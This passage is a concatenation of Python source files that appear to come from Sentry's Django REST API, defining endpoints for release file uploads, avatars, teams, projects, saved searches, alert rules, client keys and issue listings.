        Upload a new file for the given release.

        Unlike other API requests, files must be uploaded using the
        traditional multipart/form-data content-type.

        The optional 'name' attribute should reflect the absolute path
        that this file will be referenced as. For example, in the case of
        JavaScript you might specify the full web URI.

        :pparam string organization_slug: the slug of the organization the
                                          release belongs to.
        :pparam string project_slug: the slug of the project to change the
                                     release of.
        :pparam string version: the version identifier of the release.
        :param string name: the name (full path) of the file.
        :param file file: the multipart encoded file.
        :param string header: this parameter can be supplied multiple times
                              to attach headers to the file.  Each header
                              is a string in the format ``key:value``.  For
                              instance it can be used to define a content
                              type.
        :auth: required
        """
        try:
            release = Release.objects.get(
                project=project,
                version=version,
            )
        except Release.DoesNotExist:
            raise ResourceDoesNotExist

        if 'file' not in request.FILES:
            return Response({'detail': 'Missing uploaded file'}, status=400)

        fileobj = request.FILES['file']

        full_name = request.DATA.get('name', fileobj.name)
        if not full_name:
            return Response({'detail': 'File name must be specified'}, status=400)
        name = full_name.rsplit('/', 1)[-1]

        headers = {
            'Content-Type': fileobj.content_type,
        }
        for headerval in request.DATA.getlist('header') or ():
            try:
                k, v = headerval.split(':', 1)
            except ValueError:
                return Response({'detail': 'header value was not formatted correctly'}, status=400)
            else:
                headers[k] = v.strip()

        file = File.objects.create(
            name=name,
            type='release.file',
            headers=headers,
        )
        file.putfile(fileobj)

        try:
            with transaction.atomic():
                releasefile = ReleaseFile.objects.create(
                    project=release.project,
                    release=release,
                    file=file,
                    name=full_name,
                )
        except IntegrityError:
            file.delete()
            return Response({'detail': ERR_FILE_EXISTS}, status=409)

        return Response(serialize(releasefile, request.user), status=201)






from __future__ import absolute_import

from sentry.api.bases import OrganizationIssuesEndpoint
from sentry.models import Group


class OrganizationMemberIssuesAssignedEndpoint(OrganizationIssuesEndpoint):
    def get_queryset(self, request, organization, member, project_list):
        return Group.objects.filter(
            assignee_set__user=member.user,
            assignee_set__project__in=project_list,
        ).extra(
            select={'sort_by': 'sentry_groupasignee.date_added'},
        ).order_by('-sort_by')






from __future__ import absolute_import

import base64

from django.conf import settings
from PIL import Image
from rest_framework import status
from rest_framework.response import Response
from six import BytesIO
from uuid import uuid4

from sentry.api.bases.user import UserEndpoint
from sentry.api.serializers import serialize
from sentry.models import UserAvatar, File


MIN_DIMENSION = 256

MAX_DIMENSION = 1024


class UserAvatarEndpoint(UserEndpoint):
    FILE_TYPE = 'avatar.file'

    def get(self, request, user):
        return Response(serialize(user, request.user))

    def is_valid_size(self, width, height):
        if width != height:
            return False
        if width < MIN_DIMENSION:
            return False
        if width > MAX_DIMENSION:
            return False
        return True

    def put(self, request, user):
        if user != request.user:
            return Response(status=status.HTTP_403_FORBIDDEN)

        photo_string = request.DATA.get('avatar_photo')
        photo = None
        if photo_string:
            photo_string = base64.b64decode(photo_string)
            if len(photo_string) > settings.SENTRY_MAX_AVATAR_SIZE:
                return Response({'error': 'Image too large.'},
                                status=status.HTTP_413_REQUEST_ENTITY_TOO_LARGE)
            try:
                with Image.open(BytesIO(photo_string)) as img:
                    width, height = img.size
                    if not self.is_valid_size(width, height):
                        return Response({'error': 'Image invalid size.'},
                                        status=status.HTTP_400_BAD_REQUEST)
            except IOError:
                return Response({'error': 'Invalid image format.'},
                                status=status.HTTP_400_BAD_REQUEST)
            file_name = '%s.png' % user.id
            photo = File.objects.create(name=file_name, type=self.FILE_TYPE)
            photo.putfile(BytesIO(photo_string))

        avatar, _ = UserAvatar.objects.get_or_create(user=user)
        if avatar.file and photo:
            avatar.file.delete()
            avatar.clear_cached_photos()
        if photo:
            avatar.file = photo
            avatar.ident = uuid4().hex

        avatar_type = request.DATA.get('avatar_type')

        if not avatar.file and avatar_type == 'upload':
            return Response(status=status.HTTP_400_BAD_REQUEST)

        if avatar_type:
            try:
                avatar.avatar_type = [i for i, n in UserAvatar.AVATAR_TYPES if n == avatar_type][0]
            except IndexError:
                return Response(status=status.HTTP_400_BAD_REQUEST)

        avatar.save()
        return Response(serialize(user, request.user))






from __future__ import absolute_import






from __future__ import absolute_import

from datetime import timedelta
from django.utils import timezone
from rest_framework.response import Response

from sentry.api.bases.team import TeamEndpoint
from sentry.api.serializers import serialize
from sentry.models import Group, GroupStatus, Project


class TeamGroupsTrendingEndpoint(TeamEndpoint):
    def get(self, request, team):
        """
        Return a list of the trending groups for a given team.

        The resulting query will find groups which have been seen since the
        cutoff date, and then sort those by score, returning the highest scoring
        groups first.
        """
        minutes = int(request.REQUEST.get('minutes', 15))
        limit = min(100, int(request.REQUEST.get('limit', 10)))

        project_list = Project.objects.get_for_user(user=request.user, team=team)

        project_dict = dict((p.id, p) for p in project_list)

        cutoff = timedelta(minutes=minutes)
        cutoff_dt = timezone.now() - cutoff

        group_list = list(Group.objects.filter(
            project__in=project_dict.keys(),
            status=GroupStatus.UNRESOLVED,
            last_seen__gte=cutoff_dt,
        ).extra(
            select={'sort_value': 'score'},
        ).order_by('-score')[:limit])

        for group in group_list:
            group._project_cache = project_dict.get(group.project_id)

        return Response(serialize(group_list, request.user))






from __future__ import absolute_import

from sentry.api.base import DocSection
from sentry.api.bases import GroupEndpoint
from sentry.api.serializers import serialize
from sentry.models import Group, GroupHash
from sentry.utils.apidocs import scenario, attach_scenarios


@scenario('ListAvailableHashes')
def list_available_hashes_scenario(runner):
    group = Group.objects.filter(project=runner.default_project).first()
    runner.request(
        method='GET',
        path='/issues/%s/hashes/' % group.id
    )


class GroupHashesEndpoint(GroupEndpoint):
    doc_section = DocSection.EVENTS

    @attach_scenarios([list_available_hashes_scenario])
    def get(self, request, group):
        """
        List an Issue's Hashes
        ``````````````````````

        This endpoint lists an issue's hashes, which are the generated
        checksums used to aggregate individual events.

        :pparam string issue_id: the ID of the issue to retrieve.
        :auth: required
        """

        queryset = GroupHash.objects.filter(
            group=group.id,
        )

        return self.paginate(
            request=request,
            queryset=queryset,
            order_by='id',
            on_results=lambda x: serialize(x, request.user),
        )






from __future__ import absolute_import

from django.db import IntegrityError, transaction
from rest_framework import serializers, status
from rest_framework.response import Response

from sentry.api.base import DocSection
from sentry.api.bases.team import TeamEndpoint, TeamPermission
from sentry.api.serializers import serialize
from sentry.models import Project, ProjectStatus, AuditLogEntryEvent
from sentry.signals import project_created
from sentry.utils.apidocs import scenario, attach_scenarios
from sentry.utils.samples import create_sample_event


@scenario('ListTeamProjects')
def list_team_projects_scenario(runner):
    runner.request(
        method='GET',
        path='/teams/%s/%s/projects/' % (
            runner.org.slug, runner.default_team.slug)
    )


@scenario('CreateNewProject')
def create_project_scenario(runner):
    runner.request(
        method='POST',
        path='/teams/%s/%s/projects/' % (
            runner.org.slug, runner.default_team.slug),
        data={
            'name': 'The Spoiled Yoghurt'
        }
    )


class ProjectSerializer(serializers.Serializer):
    name = serializers.CharField(max_length=64, required=True)
    slug = serializers.RegexField(r'^[a-z0-9_\-]+$', max_length=50,
                                  required=False)


# While currently the UI suggests teams are a parent of a project, in reality
# the project is the core component, and which team it is on is simply an
# attribute. Because you can already change the team of a project via mutating
# it, and because Sentry intends to remove teams as a hierarchy item, we
# allow you to view a teams projects, as well as create a new project as long
# as you are a member of that team and have project scoped permissions.
class TeamProjectPermission(TeamPermission):
    scope_map = {
        'GET': ['project:read', 'project:write', 'project:delete'],
        'POST': ['project:write', 'project:delete'],
        'PUT': ['project:write', 'project:delete'],
        'DELETE': ['project:delete'],
    }


class TeamProjectIndexEndpoint(TeamEndpoint):
    doc_section = DocSection.TEAMS
    permission_classes = (TeamProjectPermission,)

    @attach_scenarios([list_team_projects_scenario])
    def get(self, request, team):
        """
        List a Team's Projects
        ``````````````````````

        Return a list of projects bound to a team.

        :pparam string organization_slug: the slug of the organization the
                                          team belongs to.
        :pparam string team_slug: the slug of the team to list the projects of.
        :auth: required
        """
        if request.user.is_authenticated():
            results = list(Project.objects.get_for_user(
                team=team, user=request.user))
        else:
            # TODO(dcramer): status should be selectable
            results = list(Project.objects.filter(
                team=team,
                status=ProjectStatus.VISIBLE,
            ))

        return Response(serialize(results, request.user))

    @attach_scenarios([create_project_scenario])
    def post(self, request, team):
        """
        Create a New Project
        ````````````````````

        Create a new project bound to a team.

        :pparam string organization_slug: the slug of the organization the
                                          team belongs to.
        :pparam string team_slug: the slug of the team to create a new project
                                  for.
        :param string name: the name for the new project.
        :param string slug: optionally a slug for the new project.  If it's
                            not provided a slug is generated from the name.
        :auth: required
        """
        serializer = ProjectSerializer(data=request.DATA)

        if serializer.is_valid():
            result = serializer.object

            try:
                with transaction.atomic():
                    project = Project.objects.create(
                        name=result['name'],
                        slug=result.get('slug'),
                        organization=team.organization,
                        team=team
                    )
            except IntegrityError:
                return Response(
                    {'detail': 'A project with this slug already exists.'},
                    status=409,
                )

            # XXX: create sample event?

            self.create_audit_entry(
                request=request,
                organization=team.organization,
                target_object=project.id,
                event=AuditLogEntryEvent.PROJECT_ADD,
                data=project.get_audit_log_data(),
            )

            project_created.send(project=project, user=request.user, sender=self)

            create_sample_event(project, platform='javascript')

            return Response(serialize(project, request.user), status=201)
        return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)






from __future__ import absolute_import

from rest_framework.response import Response

from sentry.api.bases.project import ProjectEndpoint
from sentry.models import ProjectKey
from sentry.utils.integrationdocs import load_doc


class ProjectDocsEndpoint(ProjectEndpoint):
    def get(self, request, project):
        data = load_doc('_platforms')
        if data is None:
            raise RuntimeError('Docs not built')
        project_key = ProjectKey.get_default(project)

        context = {
            'platforms': data['platforms'],
        }
        if project_key:
            context['dsn'] = project_key.dsn_private
            context['dsnPublic'] = project_key.dsn_public

        return Response(context)






from __future__ import absolute_import

from rest_framework.response import Response

from sentry.app import tsdb
from sentry.api.base import DocSection, StatsMixin
from sentry.api.bases.project import ProjectEndpoint
from sentry.utils.apidocs import scenario, attach_scenarios


@scenario('RetrieveEventCountsProjcet')
def retrieve_event_counts_project(runner):
    runner.request(
        method='GET',
        path='/projects/%s/%s/stats/' % (
            runner.org.slug, runner.default_project.slug)
    )


class ProjectStatsEndpoint(ProjectEndpoint, StatsMixin):
    doc_section = DocSection.PROJECTS

    @attach_scenarios([retrieve_event_counts_project])
    def get(self, request, project):
        """
        Retrieve Event Counts for a Project
        ```````````````````````````````````

        .. caution::
           This endpoint may change in the future without notice.

        Return a set of points representing a normalized timestamp and the
        number of events seen in the period.

        Query ranges are limited to Sentry's configured time-series
        resolutions.

        :pparam string organization_slug: the slug of the organization.
        :pparam string project_slug: the slug of the project.
        :qparam string stat: the name of the stat to query (``"received"``,
                             ``"rejected"``, ``"blacklisted"``, ``generated``)
        :qparam timestamp since: a timestamp to set the start of the query
                                 in seconds since UNIX epoch.
        :qparam timestamp until: a timestamp to set the end of the query
                                 in seconds since UNIX epoch.
        :qparam string resolution: an explicit resolution to search
                                   for (eg: ``10s``).  This should not be
                                   used unless you are familiar with Sentry's
                                   internals as it's restricted to pre-defined
                                   values.
        :auth: required
        """
        stat = request.GET.get('stat', 'received')
        if stat == 'received':
            stat_model = tsdb.models.project_total_received
        elif stat == 'rejected':
            stat_model = tsdb.models.project_total_rejected
        elif stat == 'blacklisted':
            stat_model = tsdb.models.project_total_blacklisted
        elif stat == 'generated':
            stat_model = tsdb.models.project
        else:
            raise ValueError('Invalid stat: %s' % stat)

        data = tsdb.get_range(
            model=stat_model,
            keys=[project.id],
            **self._parse_args(request)
        )[project.id]

        return Response(data)






from __future__ import absolute_import

from django.db.models import Q
from rest_framework.response import Response

from sentry.api.bases.organization import (
    OrganizationEndpoint, OrganizationPermission
)
from sentry.api.serializers import serialize
from sentry.models import OrganizationMember


class MemberPermission(OrganizationPermission):
    scope_map = {
        'GET': ['member:read', 'member:write', 'member:delete'],
        'POST': ['member:write', 'member:delete'],
        'PUT': ['member:write', 'member:delete'],
        'DELETE': ['member:delete'],
    }


class OrganizationMemberIndexEndpoint(OrganizationEndpoint):
    permission_classes = (MemberPermission,)

    def get(self, request, organization):
        queryset = OrganizationMember.objects.filter(
            Q(user__is_active=True) | Q(user__isnull=True),
            organization=organization,
        ).select_related('user')

        member_list = sorted(
            queryset,
            key=lambda x: x.user.get_display_name() if x.user_id else x.email
        )

        context = serialize(member_list, request.user)

        return Response(context)






from __future__ import absolute_import

import six

from rest_framework.response import Response

from sentry.api.base import DocSection
from sentry.api.bases.group import GroupEndpoint
from sentry.api.exceptions import ResourceDoesNotExist
from sentry.api.serializers import serialize
from sentry.models import (
    GroupTagKey, GroupTagValue, TagKey, TagKeyStatus, Group
)
from sentry.utils.apidocs import scenario


@scenario('ListTagDetails')
def list_tag_details_scenario(runner):
    group = Group.objects.filter(project=runner.default_project).first()
    runner.request(
        method='GET',
        path='/issues/%s/tags/%s/' % (
            group.id, 'browser'),
    )


class GroupTagKeyDetailsEndpoint(GroupEndpoint):
    doc_section = DocSection.EVENTS

    # XXX: this scenario does not work for some inexplicable reasons
    # @attach_scenarios([list_tag_details_scenario])
    def get(self, request, group, key):
        """
        Retrieve Tag Details
        ````````````````````

        Returns details for given tag key related to an issue.

        :pparam string issue_id: the ID of the issue to retrieve.
        :pparam string key: the tag key to look the values up for.
        :auth: required
        """
        # XXX(dcramer): kill sentry prefix for internal reserved tags
        if TagKey.is_reserved_key(key):
            lookup_key = 'sentry:{0}'.format(key)
        else:
            lookup_key = key

        try:
            tag_key = TagKey.objects.get(
                project=group.project_id,
                key=lookup_key,
                status=TagKeyStatus.VISIBLE,
            )
        except TagKey.DoesNotExist:
            raise ResourceDoesNotExist

        try:
            group_tag_key = GroupTagKey.objects.get(
                group=group,
                key=lookup_key,
            )
        except GroupTagKey.DoesNotExist:
            raise ResourceDoesNotExist

        total_values = GroupTagValue.get_value_count(group.id, lookup_key)

        top_values = GroupTagValue.get_top_values(group.id, lookup_key, limit=9)

        data = {
            'id': six.text_type(tag_key.id),
            'key': key,
            'name': tag_key.get_label(),
            'uniqueValues': group_tag_key.values_seen,
            'totalValues': total_values,
            'topValues': serialize(top_values, request.user),
        }

        return Response(data)






from __future__ import absolute_import

from rest_framework import serializers
from rest_framework.response import Response

from sentry.api.bases.project import ProjectEndpoint, ProjectPermission
from sentry.api.exceptions import ResourceDoesNotExist
from sentry.api.serializers import serialize
from sentry.models import SavedSearch, SavedSearchUserDefault


class LimitedSavedSearchSerializer(serializers.Serializer):
    isUserDefault = serializers.BooleanField(required=False)


class SavedSearchSerializer(serializers.Serializer):
    name = serializers.CharField(max_length=128, required=True)
    query = serializers.CharField(required=True)
    isDefault = serializers.BooleanField(required=False)
    isUserDefault = serializers.BooleanField(required=False)


class RelaxedSearchPermission(ProjectPermission):
    scope_map = {
        'GET': ['project:read', 'project:write', 'project:delete'],
        'POST': ['project:write', 'project:delete'],
        # members can do partial writes
        'PUT': ['project:write', 'project:delete', 'project:read'],
        'DELETE': ['project:delete'],
    }


class ProjectSearchDetailsEndpoint(ProjectEndpoint):
    permission_classes = (RelaxedSearchPermission,)

    def get(self, request, project, search_id):
        """
        Retrieve a saved search

        Return details on an individual saved search.

            {method} {path}

        """
        try:
            search = SavedSearch.objects.get(
                project=project,
                id=search_id,
            )
        except SavedSearch.DoesNotExist:
            raise ResourceDoesNotExist

        return Response(serialize(search, request.user))

    def put(self, request, project, search_id):
        """
        Update a saved search

        Update a saved search.

            {method} {path}
            {{
                "name: "Unresolved",
                "query": "is:unresolved",
                "dateSavedSearchd": "2015-05-11T02:23:10Z"
            }}

        """
        try:
            search = SavedSearch.objects.get(
                project=project,
                id=search_id,
            )
        except SavedSearch.DoesNotExist:
            raise ResourceDoesNotExist

        if request.access.has_team_scope(project.team, 'project:write'):
            serializer = SavedSearchSerializer(data=request.DATA, partial=True)
        else:
            serializer = LimitedSavedSearchSerializer(data=request.DATA, partial=True)

        if not serializer.is_valid():
            return Response(serializer.errors, status=400)

        result = serializer.object

        kwargs = {}
        if result.get('name'):
            kwargs['name'] = result['name']
        if result.get('query'):
            kwargs['query'] = result['query']
        if result.get('isDefault'):
            kwargs['is_default'] = result['isDefault']

        if kwargs:
            search.update(**kwargs)

        if result.get('isDefault'):
            SavedSearch.objects.filter(
                project=project,
            ).exclude(id=search_id).update(is_default=False)

        if result.get('isUserDefault'):
            SavedSearchUserDefault.objects.create_or_update(
                user=request.user,
                project=project,
                values={
                    'savedsearch': search,
                }
            )

        return Response(serialize(search, request.user))

    def delete(self, request, project, search_id):
        """
        Delete a saved search

        Permanently remove a saved search.

            {method} {path}

        """
        try:
            search = SavedSearch.objects.get(
                project=project,
                id=search_id,
            )
        except SavedSearch.DoesNotExist:
            raise ResourceDoesNotExist

        search.delete()

        return Response(status=204)






from __future__ import absolute_import

from rest_framework import status
from rest_framework.response import Response

from sentry.api.bases.project import ProjectEndpoint
from sentry.api.serializers import serialize
from sentry.api.serializers.rest_framework import RuleSerializer
from sentry.models import Rule, RuleStatus


class ProjectRuleDetailsEndpoint(ProjectEndpoint):
    def get(self, request, project, rule_id):
        """
        Retrieve a rule

        Return details on an individual rule.

            {method} {path}

        """
        rule = Rule.objects.get(
            project=project,
            id=rule_id,
            status__in=[RuleStatus.ACTIVE, RuleStatus.INACTIVE],
        )
        return Response(serialize(rule, request.user))

    def put(self, request, project, rule_id):
        """
        Update a rule

        Update various attributes for the given rule.

            {method} {path}
            {{
              "name": "My rule name",
              "conditions": [],
              "actions": [],
              "actionMatch": "all"
            }}

        """
        rule = Rule.objects.get(
            project=project,
            id=rule_id,
        )
        serializer = RuleSerializer({
            'actionMatch': rule.data.get('action_match', 'all'),
        }, context={'project': project}, data=request.DATA, partial=True)

        if serializer.is_valid():
            rule = serializer.save(rule=rule)

            return Response(serialize(rule, request.user))

        return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)

    def delete(self, request, project, rule_id):
        """
        Delete a rule
        """
        rule = Rule.objects.get(
            project=project,
            id=rule_id,
            status__in=[RuleStatus.ACTIVE, RuleStatus.INACTIVE],
        )

        rule.update(status=RuleStatus.PENDING_DELETION)
        return Response(status=202)






from __future__ import absolute_import

from django.db.models import Q
from rest_framework.response import Response

from sentry.api.bases.team import TeamEndpoint
from sentry.api.serializers import serialize
from sentry.models import OrganizationMember


class TeamMembersEndpoint(TeamEndpoint):
    def get(self, request, team):
        queryset = OrganizationMember.objects.filter(
            Q(user__is_active=True) | Q(user__isnull=True),
            organization=team.organization,
            teams=team,
        ).select_related('user')

        member_list = sorted(
            queryset,
            key=lambda x: x.user.get_display_name() if x.user_id else x.email
        )

        context = serialize(member_list, request.user)

        return Response(context)






from __future__ import absolute_import

import logging

from rest_framework import serializers, status
from rest_framework.response import Response

from sentry.api.base import DocSection
from sentry.api.bases.team import TeamEndpoint
from sentry.api.decorators import sudo_required
from sentry.api.serializers import serialize
from sentry.models import AuditLogEntryEvent, Team, TeamStatus
from sentry.tasks.deletion import delete_team
from sentry.utils.apidocs import scenario, attach_scenarios


@scenario('GetTeam')
def get_team_scenario(runner):
    runner.request(
        method='GET',
        path='/teams/%s/%s/' % (
            runner.org.slug, runner.default_team.slug)
    )


@scenario('UpdateTeam')
def update_team_scenario(runner):
    team = runner.utils.create_team('The Obese Philosophers', runner.org)
    runner.request(
        method='PUT',
        path='/teams/%s/%s/' % (
            runner.org.slug, team.slug),
        data={
            'name': 'The Inflated Philosophers'
        }
    )


class TeamSerializer(serializers.ModelSerializer):
    slug = serializers.RegexField(r'^[a-z0-9_\-]+$', max_length=50)

    class Meta:
        model = Team
        fields = ('name', 'slug')

    def validate_slug(self, attrs, source):
        value = attrs[source]
        qs = Team.objects.filter(
            slug=value,
            organization=self.object.organization,
        ).exclude(id=self.object.id)
        if qs.exists():
            raise serializers.ValidationError('The slug "%s" is already in use.' % (value,))
        return attrs


class TeamDetailsEndpoint(TeamEndpoint):
    doc_section = DocSection.TEAMS

    @attach_scenarios([get_team_scenario])
    def get(self, request, team):
        """
        Retrieve a Team
        ```````````````

        Return details on an individual team.

        :pparam string organization_slug: the slug of the organization the
                                          team belongs to.
        :pparam string team_slug: the slug of the team to get.
        :auth: required
        """
        context = serialize(team, request.user)
        context['organization'] = serialize(team.organization, request.user)

        return Response(context)

    @attach_scenarios([update_team_scenario])
    def put(self, request, team):
        """
        Update a Team
        `````````````

        Update various attributes and configurable settings for the given
        team.

        :pparam string organization_slug: the slug of the organization the
                                          team belongs to.
        :pparam string team_slug: the slug of the team to get.
        :param string name: the new name for the team.
        :param string slug: a new slug for the team.  It has to be unique
                            and available.
        :auth: required
        """
        serializer = TeamSerializer(team, data=request.DATA, partial=True)
        if serializer.is_valid():
            team = serializer.save()

            self.create_audit_entry(
                request=request,
                organization=team.organization,
                target_object=team.id,
                event=AuditLogEntryEvent.TEAM_EDIT,
                data=team.get_audit_log_data(),
            )

            return Response(serialize(team, request.user))

        return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)

    @sudo_required
    def delete(self, request, team):
        """
        Delete a Team
        `````````````

        Schedules a team for deletion.

        **Note:** Deletion happens asynchronously and therefor is not
        immediate.  However once deletion has begun the state of a project
        changes and will be hidden from most public views.
        """
        logging.getLogger('sentry.deletions').info(
            'Team %s/%s (id=%s) removal requested by user (id=%s)',
            team.organization.slug, team.slug, team.id, request.user.id)

        updated = Team.objects.filter(
            id=team.id,
            status=TeamStatus.VISIBLE,
        ).update(status=TeamStatus.PENDING_DELETION)
        if updated:
            delete_team.delay(object_id=team.id, countdown=3600)

            self.create_audit_entry(
                request=request,
                organization=team.organization,
                target_object=team.id,
                event=AuditLogEntryEvent.TEAM_REMOVE,
                data=team.get_audit_log_data(),
            )

        return Response(status=204)






from __future__ import absolute_import

from rest_framework import serializers, status
from rest_framework.response import Response

from sentry.api.base import DocSection
from sentry.api.bases.project import ProjectEndpoint
from sentry.api.serializers import serialize
from sentry.models import AuditLogEntryEvent, ProjectKey, ProjectKeyStatus
from sentry.utils.apidocs import scenario, attach_scenarios


@scenario('ListClientKeys')
def list_keys_scenario(runner):
    runner.request(
        method='GET',
        path='/projects/%s/%s/keys/' % (
            runner.org.slug, runner.default_project.slug)
    )


@scenario('CreateClientKey')
def create_key_scenario(runner):
    runner.request(
        method='POST',
        path='/projects/%s/%s/keys/' % (
            runner.org.slug, runner.default_project.slug),
        data={
            'name': 'Fabulous Key'
        }
    )


class KeySerializer(serializers.Serializer):
    name = serializers.CharField(max_length=200, required=False)
    public = serializers.RegexField(r'^[a-f0-9]{32}$', required=False)
    secret = serializers.RegexField(r'^[a-f0-9]{32}$', required=False)


class ProjectKeysEndpoint(ProjectEndpoint):
    doc_section = DocSection.PROJECTS

    @attach_scenarios([list_keys_scenario])
    def get(self, request, project):
        """
        List a Project's Client Keys
        ````````````````````````````

        Return a list of client keys bound to a project.

        :pparam string organization_slug: the slug of the organization the
                                          client keys belong to.
        :pparam string project_slug: the slug of the project the client keys
                                     belong to.
        """
        keys = list(ProjectKey.objects.filter(
            project=project,
            status=ProjectKeyStatus.ACTIVE,
            roles=ProjectKey.roles.store,
        ))
        return Response(serialize(keys, request.user))

    @attach_scenarios([create_key_scenario])
    def post(self, request, project):
        """
        Create a new Client Key
        ```````````````````````

        Create a new client key bound to a project.  The key's secret and
        public key are generated by the server.

        :pparam string organization_slug: the slug of the organization the
                                          client keys belong to.
        :pparam string project_slug: the slug of the project the client keys
                                     belong to.
        :param string name: the name for the new key.
        """
        serializer = KeySerializer(data=request.DATA)

        if serializer.is_valid():
            result = serializer.object

            key = ProjectKey.objects.create(
                project=project,
                label=result.get('name'),
                public_key=result.get('public'),
                secret_key=result.get('secret'),
            )

            self.create_audit_entry(
                request=request,
                organization=project.organization,
                target_object=key.id,
                event=AuditLogEntryEvent.PROJECTKEY_ADD,
                data=key.get_audit_log_data(),
            )

            return Response(serialize(key, request.user), status=201)
        return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)






from __future__ import absolute_import

from datetime import timedelta
from django.utils import timezone
from rest_framework.response import Response

from sentry.api.bases.team import TeamEndpoint
from sentry.api.serializers import serialize
from sentry.models import Group, GroupStatus, Project


class TeamGroupsNewEndpoint(TeamEndpoint):
    def get(self, request, team):
        """
        Return a list of the newest groups for a given team.

        The resulting query will find groups which have been seen since the
        cutoff date, and then sort those by score, returning the highest scoring
        groups first.
        """
        minutes = int(request.REQUEST.get('minutes', 15))
        limit = min(100, int(request.REQUEST.get('limit', 10)))

        project_list = Project.objects.get_for_user(user=request.user, team=team)

        project_dict = dict((p.id, p) for p in project_list)

        cutoff = timedelta(minutes=minutes)
        cutoff_dt = timezone.now() - cutoff

        group_list = list(Group.objects.filter(
            project__in=project_dict.keys(),
            status=GroupStatus.UNRESOLVED,
            active_at__gte=cutoff_dt,
        ).extra(
            select={'sort_value': 'score'},
        ).order_by('-score', '-first_seen')[:limit])

        for group in group_list:
            group._project_cache = project_dict.get(group.project_id)

        return Response(serialize(group_list, request.user))






from __future__ import absolute_import

import itertools

from rest_framework.response import Response

from sentry import status_checks
from sentry.api.base import Endpoint
from sentry.api.permissions import SuperuserPermission
from sentry.utils.hashlib import md5_text


class SystemHealthEndpoint(Endpoint):
    permission_classes = (SuperuserPermission,)

    def get(self, request):
        results = status_checks.check_all()
        return Response({
            'problems': [
                {
                    'id': md5_text(problem.message).hexdigest(),
                    'message': problem.message,
                    'severity': problem.severity,
                    'url': problem.url,
                }
                for problem in sorted(itertools.chain.from_iterable(results.values()),
                                     reverse=True)
            ],
            'healthy': {type(check).__name__: not problems for check, problems in results.items()},
        })






from __future__ import absolute_import, division, print_function

import six

from datetime import timedelta
from django.db import IntegrityError, transaction
from django.utils import timezone
from rest_framework import serializers
from rest_framework.response import Response

from sentry.app import search
from sentry.api.base import DocSection
from sentry.api.bases.project import ProjectEndpoint, ProjectEventPermission
from sentry.api.serializers import serialize
from sentry.api.serializers.models.group import StreamGroupSerializer
from sentry.constants import DEFAULT_SORT_OPTION
from sentry.db.models.query import create_or_update
from sentry.models import (
    Activity, EventMapping, Group, GroupBookmark, GroupResolution, GroupSeen,
    GroupSubscription, GroupSubscriptionReason, GroupSnooze, GroupStatus,
    Release, TagKey
)
from sentry.models.group import looks_like_short_id
from sentry.search.utils import parse_query
from sentry.tasks.deletion import delete_group
from sentry.tasks.merge import merge_group
from sentry.utils.cursors import Cursor
from sentry.utils.apidocs import scenario, attach_scenarios

ERR_INVALID_STATS_PERIOD = "Invalid stats_period. Valid choices are '', '24h', and '14d'"


@scenario('BulkUpdateAggregates')
def bulk_update_aggregates_scenario(runner):
    project = runner.default_project
    group1, group2 = Group.objects.filter(project=project)[:2]
    runner.request(
        method='PUT',
        path='/projects/%s/%s/issues/?id=%s&id=%s' % (
            runner.org.slug, project.slug, group1.id, group2.id),
        data={'status': 'unresolved', 'isPublic': False}
    )


@scenario('BulkRemoveAggregates')
def bulk_remove_aggregates_scenario(runner):
    with runner.isolated_project('Amazing Plumbing') as project:
        group1, group2 = Group.objects.filter(project=project)[:2]
        runner.request(
            method='DELETE',
            path='/projects/%s/%s/issues/?id=%s&id=%s' % (
                runner.org.slug, project.slug, group1.id, group2.id),
        )


@scenario('ListProjectAggregates')
def list_project_aggregates_scenario(runner):
    project = runner.default_project
    runner.request(
        method='GET',
        path='/projects/%s/%s/issues/?statsPeriod=24h' % (
            runner.org.slug, project.slug),
    )


STATUS_CHOICES = {
    'resolved': GroupStatus.RESOLVED,
    'unresolved': GroupStatus.UNRESOLVED,
    'muted': GroupStatus.MUTED,
    'resolvedInNextRelease': GroupStatus.UNRESOLVED,
}


class ValidationError(Exception):
    pass


class GroupSerializer(serializers.Serializer):
    status = serializers.ChoiceField(choices=zip(
        STATUS_CHOICES.keys(), STATUS_CHOICES.keys()
    ))
    hasSeen = serializers.BooleanField()
    isBookmarked = serializers.BooleanField()
    isPublic = serializers.BooleanField()
    isSubscribed = serializers.BooleanField()
    merge = serializers.BooleanField()
    snoozeDuration = serializers.IntegerField()


class ProjectGroupIndexEndpoint(ProjectEndpoint):
    doc_section = DocSection.EVENTS

    permission_classes = (ProjectEventPermission,)

    def _build_query_params_from_request(self, request, project):
        query_kwargs = {
            'project': project,
        }

        if request.GET.get('status'):
            try:
                query_kwargs['status'] = STATUS_CHOICES[request.GET['status']]
            except KeyError:
                raise ValidationError('invalid status')

        if request.user.is_authenticated() and request.GET.get('bookmarks'):
            query_kwargs['bookmarked_by'] = request.user

        if request.user.is_authenticated() and request.GET.get('assigned'):
            query_kwargs['assigned_to'] = request.user

        sort_by = request.GET.get('sort')
        if sort_by is None:
            sort_by = DEFAULT_SORT_OPTION

        query_kwargs['sort_by'] = sort_by

        tags = {}
        for tag_key in TagKey.objects.all_keys(project):
            if request.GET.get(tag_key):
                tags[tag_key] = request.GET[tag_key]
        if tags:
            query_kwargs['tags'] = tags

        limit = request.GET.get('limit')
        if limit:
            try:
                query_kwargs['limit'] = int(limit)
            except ValueError:
                raise ValidationError('invalid limit')

        # TODO: proper pagination support
        cursor = request.GET.get('cursor')
        if cursor:
            query_kwargs['cursor'] = Cursor.from_string(cursor)

        query = request.GET.get('query', 'is:unresolved').strip()
        if query:
            query_kwargs.update(parse_query(project, query, request.user))

        return query_kwargs

    # bookmarks=0/1
    # status=<x>
    # <tag>=<value>
    # statsPeriod=24h
    @attach_scenarios([list_project_aggregates_scenario])
    def get(self, request, project):
        """
        List a Project's Aggregates
        ```````````````````````````

        Return a list of aggregates bound to a project.  All parameters are
        supplied as query string parameters.

        A default query of ``is:resolved`` is applied. To return results
        with other statuses send an new query value (i.e. ``?query=`` for all
        results).

        The ``statsPeriod`` parameter can be used to select the timeline
        stats which should be present. Possible values are: '' (disable),
        '24h', '14d'

        :qparam string statsPeriod: an optional stat period (can be one of
                                    ``"24h"``, ``"14d"``, and ``""``).
        :qparam bool shortIdLookup: if this is set to true then short IDs are
                                    looked up by this function as well.  This
                                    can cause the return value of the function
                                    to return an event group of a different
                                    project which is why this is an opt-in.
                                    Set to `1` to enable.
